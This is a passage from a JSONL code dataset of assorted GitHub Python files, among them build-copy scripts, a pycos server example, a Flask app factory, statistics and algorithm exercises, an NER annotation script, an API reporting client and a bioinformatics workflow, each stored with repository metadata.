task.get('title')))\n","repo_name":"sylvieshimwauwase/alx-system_engineering-devops","sub_path":"0x15-api/1-export_to_CSV.py","file_name":"1-export_to_CSV.py","file_ext":"py","file_size_in_byte":894,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"26695637427","text":"# build_update.py\n# copy the contents from patch to AOSP build directory \nimport sys\nsys.path.append('./python_scripts')\nfrom replace import *\nfrom distutils.dir_util import copy_tree\nfrom read_configuration import *\ncwd = os.getcwd()\n\n# reading the configuration variables \n\ndata = read_configuration ()\n\n\nprint(\"build_update.py executing from : \"+ cwd +'/nxp')\nprint(\"\\n\")\nsource = data['src_dir_build']+'/'+'make'+'/core'+'/soong_config.mk'\ntarget = data['dst_dir_build']+'/'+'make'+'/'+'/core'+'/soong_config.mk'\n\n\nprint (\"source path:=\"+str(source))\nprint (\"target path:=\"+str(target)+\"\\n\")\ncopyfile(source,target)\nprint (\"file copied successfuly....\\n\")\n\n\nsource = data['src_dir_build']+'/'+'soong'+'/android'+'/variable.go'\ntarget = data['dst_dir_build']+'/'+'soong'+'/android'+'/variable.go'\n\n\nprint (\"source path:=\"+str(source))\nprint (\"target path:=\"+str(target)+\"\\n\")\ncopyfile(source,target)\nprint (\"file copied successfuly....\")\n\n","repo_name":"mohankadali/personal_files","sub_path":"android_poting_scripts/scripts_android_upgrade/script_backup/nxp/build_update.py","file_name":"build_update.py","file_ext":"py","file_size_in_byte":944,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"16732975030","text":"#!/usr/bin/env python\n\n# server program for client sending requests to execute tasks\n\n# run this program and then client (rps_monitor_client.py) either on same node or different node\n# on local network. Server and client can also be run on two different networks but client must\n# call 'scheduler.peer' method appropriately.\n\nimport sys\nimport pycos\n# import netpycos to use distributed version of Pycos\nimport pycos.netpycos\n\n# PyPI / pip packaging adjusts assertion below for Python 3.7+\nif sys.version_info.major == 3:\n assert sys.version_info.minor < 7, \\\n ('\"%s\" is not suitable for Python version %s.%s; use file installed by pip instead' %\n (__file__, sys.version_info.major, sys.version_info.minor))\n\n\n# when client invokes RPS in this program, function below is used to start a task\ndef rps_server(a, b=1, task=None):\n pycos.logger.debug('running %s with %s, %s', task, a, b)\n # receive message from client\n msg = yield task.receive(timeout=2)\n # to illustrate how client's monitor can receive exit values or exceptions, exception is\n # raised if given b is not a positve number, otherwise task sleeps for b seconds and exits\n # with msg\n if isinstance(b, (int, float)) and b > 0 and isinstance(msg, str):\n yield task.sleep(b)\n # (remote) monitor (if any) gets back msg (to be interpreted as normal termination)\n raise StopIteration(msg)\n else:\n # (remote) monitor (if any) gets this exception\n raise Exception('invalid invocation: %s' % b)\n\n\nif __name__ == '__main__':\n pycos.logger.setLevel(pycos.Logger.DEBUG)\n # 'secret' is set so only peers that use same secret can communicate\n scheduler = pycos.Pycos(name='server', secret='test')\n # register rps_server so remote clients can request execution\n rps = pycos.RPS(rps_server)\n rps.register()\n\n if sys.version_info.major > 2:\n read_input = input\n else:\n read_input = raw_input\n while True:\n try:\n line = read_input().strip().lower()\n if line in ('quit', 'exit'):\n break\n except Exception:\n break\n","repo_name":"pgiri/pycos","sub_path":"examples/rps_monitor_server.py","file_name":"rps_monitor_server.py","file_ext":"py","file_size_in_byte":2138,"program_lang":"python","lang":"en","doc_type":"code","stars":43,"dataset":"github-code","pt":"82"}
+{"seq_id":"15261975429","text":"# from flask import Flask, render_template, current_app\nfrom flask import Flask, render_template\nfrom flask_wtf.csrf import CSRFProtect\nfrom flask_bootstrap import Bootstrap\nfrom flask_assets import Environment\nfrom .assets import create_assets\nfrom .routes import auth_bp, api_bp, main_bp, auth_pages, movies_bp\nfrom flask_login import LoginManager\nfrom .login_manager import manage_login\n\n\n# auth_blueprint = Blueprint('auth', __name__, url_prefix='/auth')\nfrom .routes.admin_panel import admin_panel_pb\nfrom .routes.user_profile import user_profile_pb\n\n\ndef create_app(config_name):\n app = Flask(__name__)\n Bootstrap(app)\n app.secret_key = b'\\xdf\\xc0\\xe8\\xb0\\x14\\xb2\\xad\\x9f\\x1c\\xc19\\x87/4\\x19v\\x11\\xa8%I\\xad=\\x8f\\x86'\n # for testing\n # app.config['WTF_CSRF_ENABLED'] = False\n\n csrf = CSRFProtect()\n csrf.init_app(app)\n\n login_mng = LoginManager()\n login_mng.init_app(app)\n\n manage_login(login_mng)\n\n assets = Environment(app)\n create_assets(assets)\n\n app.register_blueprint(auth_bp)\n app.register_blueprint(api_bp)\n app.register_blueprint(main_bp)\n app.register_blueprint(auth_pages)\n app.register_blueprint(movies_bp)\n app.register_blueprint(admin_panel_pb)\n app.register_blueprint(user_profile_pb)\n\n register_error_pages(app)\n\n return app\n\n\ndef register_error_pages(app):\n\n @app.errorhandler(403)\n def page_not_found(e):\n return render_template('403.html'), 403\n","repo_name":"P4yBill/MovieFlix","sub_path":"flask-app/app/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1444,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"7493868835","text":"import math\nimport matplotlib.pyplot as plt\nimport numpy as np\n\ndef poisson_pmf(x, lambd):\n return (math.exp(-lambd) * (lambd**x)) / math.factorial(x)\n\n# Parameters\ncalls_per_hour_5 = 5 # Average rate of 5 calls per hour\ncalls_per_hour_10 = 10 # Average rate of 10 calls per hour\ncalls_per_hour_15 = 15 # Average rate of 15 calls per hour\n\nmax_calls = 10 # Maximum number of calls\n\n# Calculate probabilities\nx = np.arange(max_calls + 1)\npmf_5 = [poisson_pmf(i, calls_per_hour_5) for i in x]\npmf_10 = [poisson_pmf(i, calls_per_hour_10) for i in x]\npmf_15 = [poisson_pmf(i, calls_per_hour_15) for i in x]\n\n\n# Calculate and print probabilities\nprint(\"Number of Calls (x) | Probability (P(x; λ=5)) | Probability (P(x; λ=10)) | Probability (P(x; λ=15))\")\nprint(\"---------------------------------------------------------------------------------------------------------------\")\nfor i in range(len(x)):\n print(f\"{x[i]:<21} | {pmf_5[i]:<30.4e}| {pmf_10[i]:<30.4e}| {pmf_15[i]:<.4e}\")\nprint(\"---------------------------------------------------------------------------------------------------------------\")\n\n# Plotting the PMF graph\nplt.bar(x, pmf_5, label='λ = 5')\nplt.bar(x, pmf_10, label='λ = 10', alpha=0.5)\nplt.bar(x, pmf_15, label='λ = 15', alpha=0.2)\nplt.xlabel('Number of Calls')\nplt.ylabel('Probability')\nplt.title('Probability Mass Function (PMF)')\nplt.xticks(x)\nplt.legend()\nplt.show()\n","repo_name":"Rakibul73/Simulation_Modeling_Code","sub_path":"masud_sir_part/same_python_file/poisson_distribution.py","file_name":"poisson_distribution.py","file_ext":"py","file_size_in_byte":1420,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"82"}
+{"seq_id":"27270167628","text":"# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, val=0, next=None):\n# self.val = val\n# self.next = next\nclass Solution:\n def sortList(self, head: ListNode) -> List:\n if head is None:\n return head\n t = []\n b = head\n while b:\n t.append(b.val)\n b = b.next\n \n t.sort()\n tail = head\n for i in t:\n tail.next = ListNode(i)\n tail = tail.next\n return head.next \n","repo_name":"javokhirbek1999/leetcode","sub_path":"Python/Data Structures/Linked List/Sort-List.py","file_name":"Sort-List.py","file_ext":"py","file_size_in_byte":524,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"}
+{"seq_id":"17388608730","text":"import sys\nfrom unittest.util import _MAX_LENGTH\n\n\ndef parkereso(fiuk, lanyok):\n if(len(fiuk) != len(lanyok)):\n return False\n result = {}\n for i in fiuk:\n for j in lanyok:\n if i[0] == j[0]:\n result[i] = j\n fiuk.remove(i)\n lanyok.remove(j)\n break\n for i in fiuk:\n for j in lanyok:\n if i[len(i)-1] == j[len(j)-1] == 'i':\n result[i] = j\n fiuk.remove(i)\n lanyok.remove(j)\n break\n minimumdiff = 100000\n for i in fiuk:\n lany = \"\"\n minimumdiff = 100000\n for j in lanyok:\n diff = abs(len(i) - len(j))\n if diff < minimumdiff:\n minimumdiff = diff\n lany = j\n result[i] = lany\n lanyok.remove(lany)\n return result","repo_name":"berypurda/ScriptDict","sub_path":"src/feladat.py","file_name":"feladat.py","file_ext":"py","file_size_in_byte":871,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"8862874310","text":"from argparse import ArgumentParser, RawDescriptionHelpFormatter\nfrom sys import argv\nfrom pathlib import Path\nfrom typing import List\n\nfrom camel_tools.ner import NERecognizer\nfrom p_tqdm import p_uimap\n\nfrom eis1600.helper.repo import TRAINING_DATA_REPO\nfrom eis1600.processing.preprocessing import get_yml_and_miu_df\nfrom eis1600.processing.postprocessing import reconstruct_miu_text_with_tags\n\n\ndef ner_to_md(toponym_labels: List[str]) -> List[List[str]]:\n md_tags = []\n prev = None\n for label in toponym_labels:\n if label == 'B-TOPD' or prev == 'O' and label == 'I-TOPD':\n if prev == 'B-TOPD':\n md_tags.append(['ETOPD BTOPD'])\n else:\n md_tags.append(['BTOPD'])\n elif (prev == 'I-TOPD' or prev == 'B-TOPD') and label == 'O':\n md_tags.append(['ETOPD'])\n else:\n md_tags.append(None)\n \n prev = label\n \n return md_tags \n\n\ndef annotate_miu(file: str) -> str:\n outpath = file.replace('gold_standard', 'topo_descriptions')\n \n with open(file, 'r', encoding='utf-8') as miu_file_object:\n yml_handler, df = get_yml_and_miu_df(miu_file_object)\n\n toponym_labels = NERecognizer('EIS1600_Pretrained_Models/camelbert-ca-toponyms-description/').predict_sentence(df['TOKENS'].fillna('-').to_list())\n if 'B-TOPD' in toponym_labels:\n df['TAGS_LISTS'] = ner_to_md(toponym_labels)\n print(list(zip(toponym_labels, df['TAGS_LISTS'])))\n \n yml_handler.unset_reviewed()\n updated_text = reconstruct_miu_text_with_tags(df[['SECTIONS', 'TOKENS', 'TAGS_LISTS']]) \n \n with open(outpath, 'w', encoding='utf-8') as ofh:\n ofh.write(str(yml_handler) + updated_text)\n\n return outpath\n\n\ndef main():\n arg_parser = ArgumentParser(\n prog=argv[0], formatter_class=RawDescriptionHelpFormatter,\n description='''Script to annotate onomastic information in gold-standard MIUs.'''\n )\n arg_parser.add_argument('-D', '--debug', action='store_true')\n\n args = arg_parser.parse_args()\n debug = args.debug\n\n with open(TRAINING_DATA_REPO + 'gold_standard.txt', 'r', encoding='utf-8') as fh:\n files_txt = fh.read().splitlines()\n\n infiles = [TRAINING_DATA_REPO + 'gold_standard/' + file for file in files_txt if Path(\n TRAINING_DATA_REPO + 'gold_standard/' + file\n ).exists()]\n\n res = []\n if debug:\n for i, file in enumerate(infiles):\n print(i, file)\n res.append(annotate_miu(file))\n else:\n res += p_uimap(annotate_miu, infiles)\n\n print('Done')\n","repo_name":"EIS1600/eis1600-pkg","sub_path":"eis1600/helper/annotate_topd.py","file_name":"annotate_topd.py","file_ext":"py","file_size_in_byte":2634,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"10868696933","text":"import func\nimport requests\nimport os\nfrom datetime import datetime, timedelta\nfrom model import *\n\n\ndef get_employee_activity(start_date: str, end_date: str, id_employee: str) -> list[EmployeeActivity]:\n employee_activities = []\n\n for date in func.get_range_date(start_date, end_date):\n request = requests.get(F\"{os.environ.get('API')}/activity\", params={\n 'apikey': os.environ.get(\"APIKEY\"),\n 'begin': date.strftime('%Y%m%d'),\n 'end': func.get_next_day(date).strftime('%Y%m%d'),\n 'employees': id_employee\n })\n\n json = request.json()\n\n if 'status' in json:\n employee_activities.append(EmployeeActivity(\n day_week=func.get_name_week_day(date),\n date=date.strftime('%d.%m.%Y'),\n total_time=func.convert_from_sec(\n json['items'][0]['totalTime']),\n active_time=func.convert_from_sec(\n json['items'][0]['activeTime']),\n procent=F\"{func.get_percent(json['items'][0]['activeTime'], json['items'][0]['totalTime'])} %\"\n ))\n\n return employee_activities\n\n\ndef get_employees() -> list[Employee] | None:\n request = requests.get(F\"{os.environ.get('API')}/employees\", params={\n 'apikey': os.environ.get(\"APIKEY\"),\n 'active': 'true'\n })\n\n json = request.json()\n if 'status' in json:\n return [Employee(id=item['id'], fio=F\"{item['lastName']} {item['firstName']}\") for item in json['items']]\n\n\ndef get_employee_activity_to_xlsx(date_start: str, date_end: str, ids_employee: str) -> list[EmployeeActivityXLSX]:\n employees = get_employees()\n employeeActivityXLSX = []\n \n for id in ids_employee.split(','):\n employeeActivityXLSX.append(EmployeeActivityXLSX(\n date_start=date_start,\n date_end=date_end,\n fio=func.filter_employee_by_id(id, employees),\n activity=get_employee_activity(date_start, date_end, id)\n ))\n \n return employeeActivityXLSX\n\n\ndef get_productivity_smartboard(date: str, smartboards: list[Employee]) -> list:\n smardboard_ids = ','.join([str(smartboard.id)\n for smartboard in smartboards])\n\n request = requests.get(F\"{os.environ.get('API')}productivity\", params={\n 'apikey': os.environ.get('APIKEY'),\n 'begin': date,\n 'end': func.get_next_day(datetime.strptime(date, '%Y%m%d')).strftime('%Y%m%d'),\n 'employees': smardboard_ids\n })\n\n json = request.json()\n\n if json['status'] == 'success':\n data = []\n for item in json['items']:\n smartboard_active = get_employee_activity(date, date, item['id'])[0]\n active_time = func.get_seconds_from_str_time(\n smartboard_active.active_time)\n total_time = func.get_seconds_from_str_time(\n smartboard_active.total_time)\n\n data.append({\n 'corpus': func.parse_name_smartboard(item['name'], 1),\n 'cabinet': func.parse_name_smartboard(item['name'], 2),\n 'name': 'Smart Board',\n 'date': datetime.strptime(date, '%Y%m%d').strftime('%d.%m.%Y'),\n 'totalTime': func.parse_time_smartboard(total_time),\n 'productiveTime': func.parse_time_smartboard(item['productiveTime']),\n 'unproductiveTime': func.parse_time_smartboard(item['unproductiveTime']),\n 'neutralTime': func.parse_time_smartboard(item['totalTime'] - item['productiveTime']),\n 'percent_productive': F\"{func.get_percent(item['productiveTime'], active_time)} %\",\n 'time_workday': F\"{func.get_percent(total_time, timedelta(minutes=480).total_seconds())} %\"\n })\n\n return data\n else:\n return json\n","repo_name":"alexnsidorov/bitcop_custom_report","sub_path":"getter_data.py","file_name":"getter_data.py","file_ext":"py","file_size_in_byte":3840,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"21047293782","text":"# This is a Python Program to read a number n and print an identity matrix of the desired size.\n\nn=int(input('Enter a number: '))\nfor i in range(0,n):\n for j in range(0,n):\n if(i==j):\n print('1', sep=' ', end=' ')\n else:\n print('0', sep=' ', end=' ')\n print()","repo_name":"Maaitrayo/Python-Programming-Basics","sub_path":"program18.py","file_name":"program18.py","file_ext":"py","file_size_in_byte":301,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"}
+{"seq_id":"34540653974","text":"import torch\nimport nibabel as nib\nimport torch.nn.functional as F\n\nfrom src.runner.predictors import BasePredictor\n\n\nclass VipcupSegPredictor(BasePredictor):\n \"\"\"The VIPCUP predictor for the segmentation task.\n Args:\n saved_pred (bool): Whether to save the prediction (default: False).\n \"\"\"\n\n def __init__(self, saved_pred=False, **kwargs):\n super().__init__(**kwargs)\n if self.test_dataloader.batch_size != 1:\n raise ValueError(f'The testing batch size should be 1. Got {self.test_dataloader.batch_size}.')\n\n self.saved_pred = saved_pred\n self.output_dir = self.saved_dir / 'prediction'\n if not self.output_dir.is_dir():\n self.output_dir.mkdir(parents=True)\n\n def _test_step(self, batch):\n if self.test_dataloader.dataset.csv_name == 'testing.csv':\n input, target = batch['input'].to(self.device), batch['target']\n output = F.interpolate(self.net(input),\n size=target.size()[2:],\n mode='trilinear',\n align_corners=False)\n cross_entropy_loss = torch.tensor(float('nan'))\n dice_loss = torch.tensor(float('nan'))\n loss = torch.tensor(float('nan'))\n dice = torch.tensor(tuple(float('nan') for _ in range(3)))\n else:\n input, target = batch['input'].to(self.device), batch['target'].to(self.device)\n output = F.interpolate(self.net(input),\n size=target.size()[2:],\n mode='trilinear',\n align_corners=False)\n cross_entropy_loss = self.loss_fns.cross_entropy_loss(output, target.squeeze(dim=1))\n dice_loss = self.loss_fns.dice_loss(output, target)\n loss = (self.loss_weights.cross_entropy_loss * cross_entropy_loss\n + self.loss_weights.dice_loss * dice_loss)\n dice = self.metric_fns.dice(F.softmax(output, dim=1), target)\n\n if self.saved_pred:\n (affine,), (header,), (name,) = batch['affine'], batch['header'], batch['name']\n _, pred = F.softmax(output, dim=1).max(dim=1)\n pred = pred.squeeze(dim=0).permute(1, 2, 0).contiguous()\n nib.save(\n nib.Nifti1Image(\n pred.cpu().numpy(),\n affine.numpy(),\n header\n ),\n (self.output_dir / name).as_posix()\n )\n return {\n 'loss': loss,\n 'losses': {\n 'CrossEntropyLoss': cross_entropy_loss,\n 'DiceLoss': dice_loss\n },\n 'metrics': {\n 'Dice': dice[1:].mean(),\n }\n }\n","repo_name":"cmlab-mira/MedicalPro","sub_path":"src/runner/predictors/vipcup_seg_predictor.py","file_name":"vipcup_seg_predictor.py","file_ext":"py","file_size_in_byte":2820,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"82"}
+{"seq_id":"3503934315","text":"#################################################\r\n# hw12.py\r\n#\r\n# Your name:\r\n# Your andrew id:\r\n#################################################\r\n\r\nfrom pyexpat.errors import XML_ERROR_RECURSIVE_ENTITY_REF\r\nimport cs112_n22_hw12_linter\r\nimport math, copy\r\n\r\n#################################################\r\n# Helper functions\r\n#################################################\r\n\r\ndef almostEqual(d1, d2, epsilon=10**-7):\r\n # note: use math.isclose() outside 15-112 with Python version 3.5 or later\r\n return (abs(d2 - d1) < epsilon)\r\n\r\nimport decimal\r\ndef roundHalfUp(d):\r\n # Round to nearest with ties going away from zero.\r\n rounding = decimal.ROUND_HALF_UP\r\n # See other rounding options here:\r\n # https://docs.python.org/3/library/decimal.html#rounding-modes\r\n return int(decimal.Decimal(d).to_integral_value(rounding=rounding))\r\n\r\n#################################################\r\n# Functions for you to write\r\n#################################################\r\n\r\ndef evalPrefixNotation(L):\r\n if len(L) == 1:\r\n return L[0]\r\n for element in L:\r\n if not isinstance(element, int):\r\n if element not in [\"+\", \"-\", \"*\"]:\r\n raise Exception('Unknown operator: ' + operator)\r\n L1 = []\r\n operator = L.pop(0)\r\n intCount = 0\r\n opCount = 1\r\n while intCount != opCount:\r\n value = L.pop(0)\r\n if isinstance(value, int):\r\n intCount += 1\r\n else:\r\n opCount += 1\r\n L1.append(value)\r\n if operator == \"+\":\r\n return evalPrefixNotation(L1) + evalPrefixNotation(L)\r\n elif operator == \"-\":\r\n return evalPrefixNotation(L1) - evalPrefixNotation(L)\r\n elif operator == \"*\":\r\n return evalPrefixNotation(L1) * evalPrefixNotation(L)\r\n\r\n\r\n'''def possibleMoves(rows, cols, crow, ccol):\r\n xmove = (2, -2, 1, -1)\r\n ymove = ((1, -1), (1, -1), (2, -2), (2, -2))\r\n possibleCoords = []\r\n for x in range(len(xmove)):\r\n for y in range(len(ymove[x])):\r\n if ((crow + xmove[x] < rows) and (ccol + ymove[x][y] < cols)):\r\n possibleCoords.append((xmove[x], ymove[y]))\r\n return possibleCoords'''\r\n\r\ndef printBoard(board):\r\n for row in board:\r\n print(row)\r\n\r\ndef knightsTourHelper(rows, cols, crow, ccol, visited, count):\r\n possMoves = [(2, 1), (2, -1), (-2, 1), (-2, -1), \r\n (1, 2), (1, -2), (-1, 2), (-1, -2)]\r\n for row in visited:\r\n for element in row:\r\n if element == (rows*cols):\r\n return visited\r\n for move in possMoves:\r\n drow = move[0]\r\n dcol = move[1];\r\n tempRow = crow + drow\r\n tempCol = ccol + dcol\r\n if ((0 <= tempRow < rows) and (0 <= tempCol < cols)):\r\n if (visited[tempRow][tempCol] == 0):\r\n #print(\"hi\")\r\n count += 1\r\n visited[tempRow][tempCol] = count\r\n if knightsTourHelper(rows, cols, tempRow, tempCol, \r\n visited, count):\r\n #print(\"1\")\r\n return visited\r\n count -= 1 \r\n visited[tempRow][tempCol] = 0\r\n return None\r\n\r\ndef knightsTour(rows, cols):\r\n board = [[0] * cols for _ in range(rows)]\r\n board[0][0] = 1\r\n result = knightsTourHelper(rows, cols, 0, 0, board, 1)\r\n return result\r\n\r\n#################################################\r\n# Test Functions\r\n#################################################\r\n\r\ndef testEvalPrefixNotation():\r\n print('Testing evalPrefixNotation()...', end='')\r\n assert(evalPrefixNotation([42]) == 42) # (42)\r\n assert(evalPrefixNotation(['+', 3, 4]) == 7) # (3 + 4)\r\n assert(evalPrefixNotation(['-', 3, 4]) == -1) # (3 - 4)\r\n assert(evalPrefixNotation(['-', 4, 3]) == 1) # (4 - 3)\r\n assert(evalPrefixNotation(['+', 3, '*', 4, 5]) == 23) # (3 + (4 * 5))\r\n\r\n # ((2 * 3) + (4 * 5))\r\n assert(evalPrefixNotation(['+', '*', 2, 3, '*', 4, 5]) == 26)\r\n # ((2 + 3) * (4 + 5))\r\n assert(evalPrefixNotation(['*', '+', 2, 3, '+', 4, 5]) == 45)\r\n # ((2 + (3 * (8 - 7))) * ((2 * 2) + 5))\r\n assert(evalPrefixNotation(['*', '+', 2, '*', 3, '-', 8, 7,\r\n '+', '*', 2, 2, 5]) == 45)\r\n \r\n #Make sure to raise an error for operators that are not +, -, or *\r\n raisedAnError = False\r\n try:\r\n evalPrefixNotation(['^', 2, 3])\r\n except:\r\n raisedAnError = True\r\n assert(raisedAnError == True)\r\n print('Passed.')\r\n\r\n\r\ndef testKnightsTour():\r\n print('Testing knightsTour()....', end='')\r\n def checkDims(rows, cols, ok=True):\r\n T = knightsTour(rows, cols)\r\n s = f'knightsTour({rows},{cols})'\r\n if (not ok):\r\n if (T is not None):\r\n raise Exception(f'{s} should return None')\r\n return True\r\n if (T is None):\r\n raise Exception(f'{s} must return a {rows}x{cols}' +\r\n ' 2d list (not None)')\r\n if ((rows != len(T)) or (cols != (len(T[0])))):\r\n raise Exception(f'{s} must return a {rows}x{cols} 2d list')\r\n d = dict()\r\n for r in range(rows):\r\n for c in range(cols):\r\n d[ T[r][c] ] = (r,c)\r\n if (sorted(d.keys()) != list(range(1, rows*cols+1))):\r\n raise Exception(f'{s} should contain numbers' +\r\n ' from 1 to {rows*cols}')\r\n prevRow, prevCol = d[1]\r\n for step in range(2, rows*cols+1):\r\n row,col = d[step]\r\n distance = abs(prevRow - row) + abs(prevCol - col)\r\n if (distance != 3):\r\n raise Exception(f'{s}: from {step-1} to {step}' +\r\n ' is not a legal move')\r\n prevRow, prevCol = row,col\r\n return True\r\n assert(checkDims(4, 3))\r\n assert(checkDims(4, 4, ok=False))\r\n assert(checkDims(4, 5))\r\n assert(checkDims(3, 4))\r\n assert(checkDims(3, 6, ok=False))\r\n assert(checkDims(3, 7))\r\n assert(checkDims(5, 5))\r\n print('Passed!')\r\n\r\n#################################################\r\n# testAll and main\r\n#################################################\r\n\r\ndef testAll():\r\n testEvalPrefixNotation()\r\n testKnightsTour()\r\ndef main():\r\n cs112_n22_hw12_linter.lint()\r\n testAll()\r\n\r\nif (__name__ == '__main__'):\r\n main()\r\n","repo_name":"davidchung29/CMU-Summer-2022","sub_path":"cis 15-112/hw/hw12/hw12.py","file_name":"hw12.py","file_ext":"py","file_size_in_byte":6376,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"7030053481","text":"import sys\nimport time\n\n\nresults = {}\ndef collatz(n):\n n_start = n\n if results.get(n_start, 0) > 0:\n return results[n_start]\n \n answer = 1\n if n == 1:\n answer = 1\n elif n % 2 == 1:\n answer = collatz(3*n + 1) + 1\n else:\n answer = collatz(n/2) + 1\n results[n_start] = answer\n return answer\n\nstart = time.time()\nfor line in sys.stdin:\n pair = [int(x) for x in line.split()]\n left = min(pair[0], pair[1])\n right = max(pair[0], pair[1])\n max_cycle = 1\n for n in range(left, right+1):\n max_cycle = max(max_cycle, collatz(n))\n print(pair[0], pair[1], max_cycle)\nend = time.time()\nelapsed_seconds = float(\"%.2f\" % (end - start))\nprint('elapsed=', elapsed_seconds)\n","repo_name":"qswitcher/algorithms_design_manual","sub_path":"3np1.py","file_name":"3np1.py","file_ext":"py","file_size_in_byte":736,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"25534431754","text":"from rock_paper_scissors import play1, play2\n\ndef printMenu():\n print('Welcome to Rock Paper Scissors Game:')\n print('Game one: You vs Computer: you pick one of three possibilities and check your luck vs computer')\n print('Game two: You set how many games will be played in Computer vs Computer game and then you watch.')\n \n \ndef getChoice():\n while True:\n print ('\\nInput 1: You vs Computer')\n print ('Input 2: Computer vs Computer')\n choice = input(\"\\nPlease make a choice (1/2): \")\n \n if choice in ('1', '2'):\n return choice\n else:\n print('\\nInvalid value: please enter 1 or 2')\n \ndef main():\n printMenu()\n \n while True:\n choice = getChoice()\n \n if choice == '1':\n result = play1()\n print('\\n' + result)\n elif choice == '2':\n result = play2()\n \n \n escape = input('\\nContinue? Press Y to continue or N to exit: ').lower()\n while escape not in ('y','n'):\n print (\"Please enter correct value: \")\n escape = input('Continue? Press Y to continue or N to exit: ').lower()\n if escape != 'y':\n print(\"\\nThank you for playing!\")\n break\n \nif __name__ == \"__main__\":\n main()","repo_name":"DarekW90/Python_traning_programs","sub_path":"1_Easy_projects/2_Rock_Paper_Scissors/Updated_Version/main_rock_paper_scissors.py","file_name":"main_rock_paper_scissors.py","file_ext":"py","file_size_in_byte":1314,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"40605963675","text":"# -*- coding: utf-8 -*-\n\"\"\"\n@time : 2018/10/25 15:33\n@file : diff_gene_anno.py\n@author : zhipeng.zhao\n@contact: 757049042@qq.com\n\"\"\"\nimport glob\nimport os\nimport json\nimport time\nimport unittest\n\nimport pandas as pd\n\nfrom biocluster.workflow import Workflow\nfrom biocluster.file import getsize, exists\nfrom biocluster.file import download\n\n# from src.biocluster.workflow import Workflow\nfrom bson import ObjectId\n\n\nclass DiffGeneAnnoWorkflow(Workflow):\n\n def __init__(self, wsheet_object):\n # 初始化网端参数\n self._sheet = wsheet_object\n super(DiffGeneAnnoWorkflow, self).__init__(wsheet_object)\n\n options = [\n # 基因列表文件和注释文件\n dict(name=\"gene_list\", type=\"infile\", format=\"prok_rna.diff_gene_list\"),\n dict(name=\"anno_matrix\", type=\"infile\", format=\"prok_rna.diff_anno_matrix\"),\n dict(name='task_id', type='string', default='tsg_32038'),\n dict(name='diff_main_id', type='string'),\n dict(name='update_info', type='string'),\n ]\n # 获取参数\n self.add_option(options)\n self.set_options(self._sheet.options())\n\n # 输出设置\n self.filepath = os.path.join(self.output_dir, 'diff_gene_annotation.xls')\n # self.option('outdir', outdir)\n # self.option('outfile_name', os.path.basename(self.filepath))\n\n self.module = self.add_module(\"prok_rna.diff_gene_anno\")\n self.db_tool = self.api.api(\"prok_rna.all_exp\")\n\n def run(self):\n self.module.on(\"end\", self.set_db)\n self.run_module()\n super(DiffGeneAnnoWorkflow, self).run()\n\n def set_db(self):\n \"\"\"\n 保存结果表到mongo数据库中\n def diff_gene_anno_to_db(\n self, outpath, task_id=None, main_id=None, query_dict: dict = None,\n project_sn='prok_rna', main_table_name='diff_geen_anno'):\n \"\"\"\n # add result info\n self.db_tool.diff_gene_anno_to_db(\n self.filepath, task_id=self.option('task_id'), main_id=self.option('diff_main_id'),\n main_table_name='diff_gene_anno_extr'\n )\n self.end()\n\n def end(self):\n # result_dir = self.add_upload_dir(self.tool.output_dir)\n # result_dir.add_relpath_rules([\n # [\".\", \"\", \"差异分析结果目录\"],\n # ])\n super(DiffGeneAnnoWorkflow, self).end()\n\n def run_module(self):\n options = {\n 'gene_list': self.option('gene_list'),\n 'anno_matrix': self.option('anno_matrix'),\n 'outdir': self.output_dir,\n 'outfile_name': os.path.basename(self.filepath),\n 'pool': 1\n }\n self.module.set_options(options)\n self.module.run()\n\n\nif __name__ == '__main__':\n from biocluster.wsheet import Sheet\n import random\n\n main_id = str(ObjectId(\"5bd907a8a4e1af0a8255a566\"))\n\n data = {\n \"id\": \"diff_gene_extract_\" + str(random.randint(1, 10000)),\n \"type\": \"workflow\",\n \"name\": \"prok_rna.diff_gene_anno\",\n \"instant\": False,\n \"options\": {\n 'gene_list': r'/mnt/ilustre/users/sanger-dev/sg-users/zhaozhipeng/gene.list',\n 'anno_matrix': r'/mnt/ilustre/users/sanger-dev/sg-users/zhaozhipeng/all_anno_detail.xls',\n 'task_id': 'tsg_32038',\n 'diff_main_id': str(main_id),\n 'update_info': json.dumps({'main_id': str(main_id)})\n }\n }\n\n wsheet = Sheet(data=data)\n wf = DiffGeneAnnoWorkflow(wsheet)\n wf.run()\n","repo_name":"bensonlew/rnawl","sub_path":"src/mbio/workflows/prok_rna/report/diff_gene_anno.py","file_name":"diff_gene_anno.py","file_ext":"py","file_size_in_byte":3532,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"82"}
